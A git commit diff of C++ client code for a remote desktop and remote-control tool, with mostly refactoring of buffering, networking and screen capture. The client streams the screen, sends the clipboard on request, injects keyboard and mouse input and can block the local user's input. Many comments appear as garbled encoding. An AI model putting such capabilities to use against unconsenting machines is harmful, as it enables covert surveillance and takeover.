远程桌面优化

This commit is contained in:
yuanyuanxiang
2019-01-10 19:35:03 +08:00
parent c681cf0132
commit 05843ac144
32 changed files with 2394 additions and 923 deletions

View File

@@ -1,18 +1,16 @@
#include "StdAfx.h"
#include "Buffer.h"
#include <math.h>
#define U_PAGE_ALIGNMENT 3
#define F_PAGE_ALIGNMENT 3.0
CBuffer::CBuffer(void)
CBuffer::CBuffer()
{
m_ulMaxLength = 0;
m_Ptr = m_Base = NULL;
InitializeCriticalSection(&m_cs);
}
@@ -24,8 +22,6 @@ CBuffer::~CBuffer(void)
m_Base = NULL;
}
DeleteCriticalSection(&m_cs);
m_Base = m_Ptr = NULL;
m_ulMaxLength = 0;
}
@@ -34,11 +30,8 @@ CBuffer::~CBuffer(void)
ULONG CBuffer::ReadBuffer(PBYTE Buffer, ULONG ulLength)
{
EnterCriticalSection(&m_cs);
if (ulLength > GetBufferMaxLength())
{
LeaveCriticalSection(&m_cs);
return 0;
}
if (ulLength > GetBufferLength())
@@ -56,7 +49,6 @@ ULONG CBuffer::ReadBuffer(PBYTE Buffer, ULONG ulLength)
DeAllocateBuffer(GetBufferLength());
LeaveCriticalSection(&m_cs);
return ulLength;
}
@@ -92,18 +84,14 @@ ULONG CBuffer::DeAllocateBuffer(ULONG ulLength)
BOOL CBuffer::WriteBuffer(PBYTE Buffer, ULONG ulLength)
{
EnterCriticalSection(&m_cs);
if (ReAllocateBuffer(ulLength + GetBufferLength()) == -1)//10 +1 1024
{
LeaveCriticalSection(&m_cs);
return false;
}
CopyMemory(m_Ptr,Buffer,ulLength);//Hello 5
m_Ptr+=ulLength;
LeaveCriticalSection(&m_cs);
return TRUE;
}
@@ -140,11 +128,9 @@ ULONG CBuffer::ReAllocateBuffer(ULONG ulLength)
VOID CBuffer::ClearBuffer()
{
EnterCriticalSection(&m_cs);
m_Ptr = m_Base;
DeAllocateBuffer(1024);
LeaveCriticalSection(&m_cs);
}

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@@ -21,5 +21,4 @@ protected:
PBYTE m_Base;
PBYTE m_Ptr;
ULONG m_ulMaxLength;
CRITICAL_SECTION m_cs;
};

View File

@@ -128,7 +128,7 @@ public:
return (BYTE*)m_BitmapData_Full;
}
STDMETHODIMP SampleCB( double dbSampleTime, IMediaSample * Sample)
STDMETHODIMP SampleCB(double dbSampleTime, IMediaSample * Sample)
{
return 0;
}

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@@ -47,6 +47,7 @@
<Optimization>Disabled</Optimization>
<AdditionalIncludeDirectories>./;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<PreprocessorDefinitions>ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
@@ -62,6 +63,7 @@
<IntrinsicFunctions>true</IntrinsicFunctions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<AdditionalIncludeDirectories>./;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>

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@@ -96,7 +96,7 @@ ULONG CFileManager::SendDiskDriverList() //
CFileManager::~CFileManager()
{
cout<<"Զ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"<<endl;
cout<<"Զ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\n";
}
VOID CFileManager::OnReceive(PBYTE szBuffer, ULONG ulLength)

View File

@@ -24,7 +24,7 @@ IOCPClient::IOCPClient(bool exit_while_disconnect)
{
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
m_sClientSocket = INVALID_SOCKET;
m_hWorkThread = NULL;
m_bWorkThread = S_STOP;
@@ -67,7 +67,7 @@ IOCPClient::~IOCPClient()
BOOL IOCPClient::ConnectServer(char* szServerIP, unsigned short uPort)
{
m_sClientSocket = socket(AF_INET,SOCK_STREAM, IPPROTO_TCP); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (m_sClientSocket == SOCKET_ERROR)
{
return FALSE;
@@ -78,7 +78,7 @@ BOOL IOCPClient::ConnectServer(char* szServerIP, unsigned short uPort)
ServerAddr.sin_family = AF_INET; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> IP
ServerAddr.sin_port = htons(uPort);
ServerAddr.sin_addr.S_un.S_addr = inet_addr(szServerIP);
if (connect(m_sClientSocket,(SOCKADDR *)&ServerAddr,sizeof(sockaddr_in)) == SOCKET_ERROR)
{
if (m_sClientSocket!=INVALID_SOCKET)
@@ -104,7 +104,7 @@ BOOL IOCPClient::ConnectServer(char* szServerIP, unsigned short uPort)
}
if (m_hWorkThread == NULL){
m_hWorkThread = (HANDLE)CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)WorkThreadProc,(LPVOID)this, 0, NULL);
(LPTHREAD_START_ROUTINE)WorkThreadProc,(LPVOID)this, 0, NULL);
m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP;
}
std::cout<<"<EFBFBD><EFBFBD><EFBFBD>ӷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>˳ɹ<EFBFBD>.\n";
@@ -153,7 +153,7 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
break;
}else{
//<2F><>ȷ<EFBFBD><C8B7><EFBFBD>վ͵<D5BE><CDB5><EFBFBD>OnRead<61><64><EFBFBD><EFBFBD><><D7AA>OnRead
This->OnServerReceiving((char*)szBuffer, iReceivedLength);
This->OnServerReceiving(szBuffer, iReceivedLength);
}
}
}
@@ -170,8 +170,9 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
{
assert (ulLength > 0);
//<2F><><EFBFBD>½ӵ<C2BD><D3B5><EFBFBD><EFBFBD>ݽ<EFBFBD><DDBD>н<EFBFBD>ѹ<EFBFBD><D1B9>
CBuffer m_CompressedBuffer;
m_CompressedBuffer.WriteBuffer((LPBYTE)szBuffer, ulLength);
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>С <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǾͲ<C7BE><CDB2><EFBFBD><EFBFBD><EFBFBD>ȷ<EFBFBD><C8B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
while (m_CompressedBuffer.GetBufferLength() > HDR_LENGTH)
{
@@ -182,38 +183,38 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
{
throw "Bad Buffer";
}
ULONG ulPackTotalLength = 0;
CopyMemory(&ulPackTotalLength, m_CompressedBuffer.GetBuffer(FLAG_LENGTH),
sizeof(ULONG));
//--- <20><><EFBFBD>ݵĴ<DDB5>С<EFBFBD><D0A1>ȷ<EFBFBD>ж<EFBFBD>
if (ulPackTotalLength &&
(m_CompressedBuffer.GetBufferLength()) >= ulPackTotalLength)
{
m_CompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, FLAG_LENGTH);//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7> shine
m_CompressedBuffer.ReadBuffer((PBYTE) &ulPackTotalLength, sizeof(ULONG));
ULONG ulOriginalLength = 0;
m_CompressedBuffer.ReadBuffer((PBYTE) &ulOriginalLength, sizeof(ULONG));
m_CompressedBuffer.ReadBuffer((PBYTE) &ulPackTotalLength, sizeof(ULONG));
ULONG ulOriginalLength = 0;
m_CompressedBuffer.ReadBuffer((PBYTE) &ulOriginalLength, sizeof(ULONG));
//50
ULONG ulCompressedLength = ulPackTotalLength - HDR_LENGTH;
PBYTE CompressedBuffer = new BYTE[ulCompressedLength];
PBYTE DeCompressedBuffer = new BYTE[ulOriginalLength];
ULONG ulCompressedLength = ulPackTotalLength - HDR_LENGTH;
PBYTE CompressedBuffer = new BYTE[ulCompressedLength];
PBYTE DeCompressedBuffer = new BYTE[ulOriginalLength];
m_CompressedBuffer.ReadBuffer(CompressedBuffer, ulCompressedLength);
int iRet = uncompress(DeCompressedBuffer,
&ulOriginalLength, CompressedBuffer, ulCompressedLength);
if (iRet == Z_OK)//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD>ɹ<EFBFBD>
{
m_DeCompressedBuffer.ClearBuffer();
CBuffer m_DeCompressedBuffer;
m_DeCompressedBuffer.WriteBuffer(DeCompressedBuffer,
ulOriginalLength);
//<2F><>ѹ<EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݺͳ<DDBA><CDB3>ȴ<EFBFBD><C8B4>ݸ<EFBFBD><DDB8><EFBFBD><EFBFBD><EFBFBD>Manager<65><72><EFBFBD>д<EFBFBD><D0B4><EFBFBD> ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶<EFBFBD>̬
//<2F><><EFBFBD><EFBFBD>m_pManager<65>е<EFBFBD><D0B5><EFBFBD><EFBFBD>һ<E0B2BB><D2BB><EFBFBD><EFBFBD><EFBFBD>ɵ<EFBFBD><C9B5>õ<EFBFBD>OnReceive<76><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
m_Manager->OnReceive((PBYTE)m_DeCompressedBuffer.GetBuffer(0),
@@ -221,82 +222,73 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
}
else
throw "Bad Buffer";
delete [] CompressedBuffer;
delete [] DeCompressedBuffer;
}
else
break;
}
}catch(...)
{
m_CompressedBuffer.ClearBuffer();
}
}catch(...) { }
}
int IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength) //Hello
{
m_WriteBuffer.ClearBuffer();
if (ulOriginalLength > 0)
assert (ulOriginalLength > 0);
{
//<2F><><EFBFBD><EFBFBD>1.001<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҳ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD>õ<EFBFBD><EFBFBD>ڴ<EFBFBD><EFBFBD>ռ<EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD> +12
//<2F><><EFBFBD><EFBFBD>1.001<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҳ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD>õ<EFBFBD><EFBFBD>ڴ<EFBFBD><EFBFBD>ռ<EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD> +12
//<2F><>ֹ<EFBFBD><D6B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>// HelloWorld 10 22
//<2F><><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9> ѹ<><D1B9><EFBFBD>㷨 ΢<><CEA2><EFBFBD>
//nSize = 436
//destLen = 448
unsigned long ulCompressedLength = (double)ulOriginalLength * 1.001 + 12;
LPBYTE CompressedBuffer = new BYTE[ulCompressedLength];
int iRet = compress(CompressedBuffer, &ulCompressedLength, (PBYTE)szBuffer, ulOriginalLength);
//destLen = 448
unsigned long ulCompressedLength = (double)ulOriginalLength * 1.001 + 12;
LPBYTE CompressedBuffer = new BYTE[ulCompressedLength];
if (iRet != Z_OK)
int iRet = compress(CompressedBuffer, &ulCompressedLength, (PBYTE)szBuffer, ulOriginalLength);
if (iRet != Z_OK)
{
delete [] CompressedBuffer;
return FALSE;
}
ULONG ulPackTotalLength = ulCompressedLength + HDR_LENGTH;
m_WriteBuffer.WriteBuffer((PBYTE)m_szPacketFlag, sizeof(m_szPacketFlag));
m_WriteBuffer.WriteBuffer((PBYTE) &ulPackTotalLength,sizeof(ULONG));
ULONG ulPackTotalLength = ulCompressedLength + HDR_LENGTH;
CBuffer m_WriteBuffer;
m_WriteBuffer.WriteBuffer((PBYTE)m_szPacketFlag, sizeof(m_szPacketFlag));
m_WriteBuffer.WriteBuffer((PBYTE) &ulPackTotalLength,sizeof(ULONG));
// 5 4
//[Shine][ 30 ]
m_WriteBuffer.WriteBuffer((PBYTE)&ulOriginalLength, sizeof(ULONG));
//[Shine][ 30 ]
m_WriteBuffer.WriteBuffer((PBYTE)&ulOriginalLength, sizeof(ULONG));
// 5 4 4
//[Shine][ 30 ][5]
m_WriteBuffer.WriteBuffer(CompressedBuffer,ulCompressedLength);
//[Shine][ 30 ][5]
m_WriteBuffer.WriteBuffer(CompressedBuffer,ulCompressedLength);
delete [] CompressedBuffer;
CompressedBuffer = NULL;
CompressedBuffer = NULL;
// <20>ֿ鷢<D6BF><E9B7A2>
//shine[0035][0010][HelloWorld+12]
return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(),
MAX_SEND_BUFFER);
}
// <20>ֿ鷢<D6BF><E9B7A2>
//shine[0035][0010][HelloWorld+12]
return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(),
MAX_SEND_BUFFER);
}
// 5 2 // 2 2 1
BOOL IOCPClient::SendWithSplit(char* szBuffer, ULONG ulLength, ULONG ulSplitLength)
BOOL IOCPClient::SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength)
{
//1025
int iReturn = 0; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶<EFBFBD><CBB6><EFBFBD>
const char* Travel = (char *)szBuffer;
const char* Travel = szBuffer;
int i = 0;
ULONG ulSended = 0;
ULONG ulSendRetry = 15;
int ulSended = 0;
const int ulSendRetry = 15;
// <20><><EFBFBD>η<EFBFBD><CEB7><EFBFBD>
for (i = ulLength; i >= ulSplitLength; i -= ulSplitLength)
{
int j = 0;
for (; j < ulSendRetry; j++)
{
iReturn = send(m_sClientSocket, Travel, ulSplitLength,0);
for (; j < ulSendRetry; ++j)
{
iReturn = send(m_sClientSocket, Travel, ulSplitLength, 0);
if (iReturn > 0)
{
break;
@@ -306,20 +298,18 @@ BOOL IOCPClient::SendWithSplit(char* szBuffer, ULONG ulLength, ULONG ulSplitLeng
{
return FALSE;
}
ulSended += iReturn;
Travel += ulSplitLength;
Sleep(15); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƶ<EFBFBD><C6B6><EFBFBD><EFBFBD>ݻ<EFBFBD><DDBB><EFBFBD>
ulSended += iReturn;
Travel += ulSplitLength;
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IJ<EFBFBD><C4B2><EFBFBD>
if (i>0) //1024
{
int j = 0;
for (; j < ulSendRetry; j++) //nSendRetry = 15
for (; j < ulSendRetry; j++)
{
iReturn = send(m_sClientSocket, (char*)Travel,i,0);
Sleep(15);
if (iReturn > 0)
{
break;
@@ -329,16 +319,10 @@ BOOL IOCPClient::SendWithSplit(char* szBuffer, ULONG ulLength, ULONG ulSplitLeng
{
return FALSE;
}
ulSended += iReturn; //0+=1000
}
if (ulSended == ulLength)
{
return TRUE;
}
else
{
return FALSE;
ulSended += iReturn;
}
return (ulSended == ulLength) ? TRUE : FALSE;
}

View File

@@ -39,7 +39,7 @@ public:
VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength);
int OnServerSending(const char* szBuffer, ULONG ulOriginalLength);
BOOL SendWithSplit(char* szBuffer, ULONG ulLength, ULONG ulSplitLength);
BOOL SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength);
BOOL IsRunning() const
{
@@ -48,9 +48,6 @@ public:
BOOL m_bIsRunning;
BOOL m_bConnected;
CBuffer m_WriteBuffer;
CBuffer m_CompressedBuffer;
CBuffer m_DeCompressedBuffer;
char m_szPacketFlag[FLAG_LENGTH];

View File

@@ -19,7 +19,7 @@ CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n):CManager(Cli
CRegisterManager::~CRegisterManager()
{
cout<<"CRegisterManager <20><><EFBFBD><EFBFBD>"<<endl;
cout<<"CRegisterManager <20><><EFBFBD><EFBFBD>\n";
}
VOID CRegisterManager::OnReceive(PBYTE szBuffer, ULONG ulLength)

View File

@@ -28,10 +28,6 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n):CManager(ClientO
m_ScreenSpyObject = new CScreenSpy(16);
if (m_ScreenSpyObject==NULL)
{
return;
}
m_hWorkThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)WorkThreadProc,this,0,NULL);
}
@@ -40,14 +36,14 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
{
CScreenManager *This = (CScreenManager *)lParam;
This->SendBitMapInfor(); //<2F><><EFBFBD><EFBFBD>bmpλͼ<CEBB>
// <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
This->SendBitMapInfor(); //<2F><><EFBFBD><EFBFBD>bmpλͼ<CEBB>
// <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
This->WaitForDialogOpen();
clock_t last = clock();
This->SendFirstScreen();
const int fps = 8;// ֡<><D6A1>
const int fps = 10;// ֡<><D6A1>
const int sleep = 1000 / fps;// <20><><EFBFBD><EFBFBD>ʱ<EFBFBD>䣨ms<6D><73>
while (This->m_bIsWorking)
{
@@ -66,7 +62,7 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
}
}
cout<<"ScreenWorkThread Exit"<<endl;
cout<<"ScreenWorkThread Exit\n";
return 0;
}
@@ -74,8 +70,7 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
VOID CScreenManager::SendBitMapInfor()
{
//<2F><><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD>bmp<6D><EFBFBD>Ĵ<EFBFBD>С
ULONG ulLength = 1 + m_ScreenSpyObject->GetBISize(); //<2F><>С
ULONG ulLength = 1 + m_ScreenSpyObject->GetBISize();
LPBYTE szBuffer = (LPBYTE)VirtualAlloc(NULL,
ulLength, MEM_COMMIT, PAGE_READWRITE);
@@ -88,7 +83,7 @@ VOID CScreenManager::SendBitMapInfor()
CScreenManager::~CScreenManager()
{
cout<<"ScreenManager <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"<<endl;
cout<<"ScreenManager <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\n";
m_bIsWorking = FALSE;
@@ -115,19 +110,19 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
BlockInput(false);
ProcessCommand(szBuffer + 1, ulLength - 1);
BlockInput(m_bIsBlockInput); //<2F>ٻظ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BlockInput(m_bIsBlockInput); //<2F>ٻָ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
break;
}
case COMMAND_SCREEN_BLOCK_INPUT: //ControlThread<61><64><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
{
m_bIsBlockInput = *(LPBYTE)&szBuffer[1]; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̵<EFBFBD><CCB5><EFBFBD><EFBFBD><EFBFBD>
m_bIsBlockInput = *(LPBYTE)&szBuffer[1]; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̵<EFBFBD><CCB5><EFBFBD><EFBFBD><EFBFBD>
BlockInput(m_bIsBlockInput);
break;
}
case COMMAND_SCREEN_GET_CLIPBOARD: //<2F><><EFBFBD><EFBFBD>
case COMMAND_SCREEN_GET_CLIPBOARD:
{
SendClientClipboard();
break;
@@ -169,7 +164,7 @@ VOID CScreenManager::SendClientClipboard()
return;
}
int iPacketLength = GlobalSize(hGlobal) + 1;
char* szClipboardVirtualAddress = (LPSTR) GlobalLock(hGlobal); //<2F><><EFBFBD><EFBFBD>
char* szClipboardVirtualAddress = (LPSTR) GlobalLock(hGlobal); //<2F><><EFBFBD><EFBFBD>
LPBYTE szBuffer = new BYTE[iPacketLength];
@@ -186,10 +181,7 @@ VOID CScreenManager::SendFirstScreen()
{
//<2F><>CScreenSpy<70><79>getFirstScreen<65><6E><EFBFBD><EFBFBD><EFBFBD>еõ<D0B5>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
//Ȼ<><C8BB><EFBFBD><EFBFBD>getFirstImageSize<7A>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݵĴ<DDB5>СȻ<D0A1><C8BB><EFBFBD><EFBFBD><EFBFBD>ͳ<EFBFBD>ȥ
BOOL bRet = FALSE;
LPVOID FirstScreenData = NULL;
FirstScreenData = m_ScreenSpyObject->GetFirstScreenData();
LPVOID FirstScreenData = m_ScreenSpyObject->GetFirstScreenData();
if (FirstScreenData == NULL)
{
return;
@@ -197,10 +189,6 @@ VOID CScreenManager::SendFirstScreen()
ULONG ulFirstSendLength = 1 + m_ScreenSpyObject->GetFirstScreenLength();
LPBYTE szBuffer = new BYTE[ulFirstSendLength];
if (szBuffer == NULL)
{
return;
}
szBuffer[0] = TOKEN_FIRSTSCREEN;
memcpy(szBuffer + 1, FirstScreenData, ulFirstSendLength - 1);
@@ -214,8 +202,7 @@ VOID CScreenManager::SendFirstScreen()
const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
{
//<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݣ<EFBFBD><DDA3>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݴ<EFBFBD>С<EFBFBD><D0A1>Ȼ<EFBFBD><C8BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
//<2F><><EFBFBD>ǵ<EFBFBD>getNextScreen<65><6E><EFBFBD><EFBFBD><EFBFBD>Ķ<EFBFBD><C4B6><EFBFBD>
AUTO_TICK(5);
LPVOID NextScreenData = m_ScreenSpyObject->GetNextScreenData(&ulNextSendLength);
if (ulNextSendLength == 0 || NextScreenData == NULL)
@@ -248,9 +235,7 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
ULONG ulMsgCount = ulLength / sizeof(MSG);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
//1ruan kdjfkdf gan
for (int i = 0; i < ulMsgCount; i++) //1
for (int i = 0; i < ulMsgCount; ++i)
{
MSG *Msg = (MSG *)(szBuffer + i * sizeof(MSG));
switch (Msg->message)
@@ -268,8 +253,13 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
POINT Point;
Point.x = LOWORD(Msg->lParam);
Point.y = HIWORD(Msg->lParam);
if(m_ScreenSpyObject->m_bZoomed)
{
Point.x *= m_ScreenSpyObject->m_wZoom;
Point.y *= m_ScreenSpyObject->m_hZoom;
}
SetCursorPos(Point.x, Point.y);
SetCapture(WindowFromPoint(Point)); //???
SetCapture(WindowFromPoint(Point));
}
break;
default:
@@ -311,7 +301,7 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
case WM_KEYDOWN:
case WM_SYSKEYDOWN:
keybd_event(Msg->wParam, MapVirtualKey(Msg->wParam, 0), 0, 0);
break;
break;
case WM_KEYUP:
case WM_SYSKEYUP:
keybd_event(Msg->wParam, MapVirtualKey(Msg->wParam, 0), KEYEVENTF_KEYUP, 0);
@@ -319,5 +309,5 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
default:
break;
}
}
}
}

View File

@@ -39,7 +39,11 @@ CScreenSpy::CScreenSpy(ULONG ulbiBitCount)
BOOL Isgetdisplay = EnumDisplaySettings(NULL, ENUM_CURRENT_SETTINGS, &devmode);
m_ulFullWidth = devmode.dmPelsWidth;
m_ulFullHeight = devmode.dmPelsHeight;
printf("===> <20><><EFBFBD><EFBFBD><EFBFBD>ֱ<EFBFBD><D6B1>ʴ<EFBFBD>СΪ<D0A1><CEAA>%d x %d\n", m_ulFullWidth, m_ulFullHeight);
int w = ::GetSystemMetrics(SM_CXSCREEN), h = ::GetSystemMetrics(SM_CYSCREEN);
m_bZoomed = (w != m_ulFullWidth) || (h != m_ulFullHeight);
m_wZoom = double(m_ulFullWidth) / w, m_hZoom = double(m_ulFullHeight) / h;
printf("=> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD><C5B1><EFBFBD>: %.2f, %.2f\t<EFBFBD>ֱ<EFBFBD><EFBFBD>ʣ<EFBFBD>%d x %d\n", m_wZoom, m_hZoom, m_ulFullWidth, m_ulFullHeight);
m_wZoom = 1.0/m_wZoom, m_hZoom = 1.0/m_hZoom;
m_BitmapInfor_Full = ConstructBI(m_ulbiBitCount,m_ulFullWidth, m_ulFullHeight);
m_BitmapData_Full = NULL;
m_BitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full,
@@ -156,7 +160,7 @@ ULONG CScreenSpy::GetFirstScreenLength()
LPVOID CScreenSpy::GetNextScreenData(ULONG* ulNextSendLength)
{
if (ulNextSendLength == NULL || m_RectBuffer == NULL)
if (m_RectBuffer == NULL)
{
return NULL;
}
@@ -186,7 +190,8 @@ LPVOID CScreenSpy::GetNextScreenData(ULONG* ulNextSendLength)
//<2F><><EFBFBD><EFBFBD>Bit<69><74><EFBFBD>бȽ<D0B1><C8BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>޸<EFBFBD>m_lpvFullBits<74>еķ<D0B5><C4B7><EFBFBD>
*ulNextSendLength = m_RectBufferOffset +
CompareBitmap((LPBYTE)m_DiffBitmapData_Full, (LPBYTE)m_BitmapData_Full,
m_RectBuffer + m_RectBufferOffset, m_BitmapInfor_Full->bmiHeader.biSizeImage);
m_RectBuffer + m_RectBufferOffset, m_BitmapInfor_Full->bmiHeader.biSizeImage);
return m_RectBuffer;
}
@@ -203,6 +208,7 @@ VOID CScreenSpy::WriteRectBuffer(LPBYTE szBuffer,ULONG ulLength)
VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight)
{
AUTO_TICK(1);
#ifdef COPY_ALL
BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hdcSour, 0, 0, m_dwBitBltRop);
#else
@@ -223,48 +229,36 @@ VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHei
#endif
}
ULONG CScreenSpy::CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData,
LPBYTE szBuffer, DWORD ulCompareLength)
{
AUTO_TICK(1);
// Windows<77>һ<E6B6A8><D2BB>ɨ<EFBFBD><C9A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD><D5BC><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>4<EFBFBD>ı<EFBFBD><C4B1><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DWORD<52>Ƚ<EFBFBD>
LPDWORD p1, p2;
p1 = (LPDWORD)CompareDestData;
p2 = (LPDWORD)CompareSourData;
LPDWORD p1 = (LPDWORD)CompareDestData, p2 = (LPDWORD)CompareSourData;
// ƫ<>Ƶ<EFBFBD>ƫ<EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD>ȵ<EFBFBD>ƫ<EFBFBD><C6AB>
ULONG ulszBufferOffset = 0, ulv1 = 0, ulv2 = 0;
ULONG ulCount = 0; // <20><><EFBFBD>ݼ<EFBFBD><DDBC><EFBFBD><EFBFBD><EFBFBD>
// p1++ʵ<><CAB5><EFBFBD><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>DWORD
for (int i = 0; i < ulCompareLength; i += 4, p1++, p2++)
ULONG ulszBufferOffset = 0, ulv1 = 0, ulv2 = 0, ulCount = 0;
for (int i = 0; i < ulCompareLength; i += 4, ++p1, ++p2)
{
if (*p1 == *p2)
if (*p1 == *p2)
continue;
// һ<><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݿ鿪ʼ
// д<><D0B4>ƫ<EFBFBD>Ƶ<EFBFBD>ַ
*(LPDWORD)(szBuffer + ulszBufferOffset) = i;
*(LPDWORD)(szBuffer + ulszBufferOffset) = i;
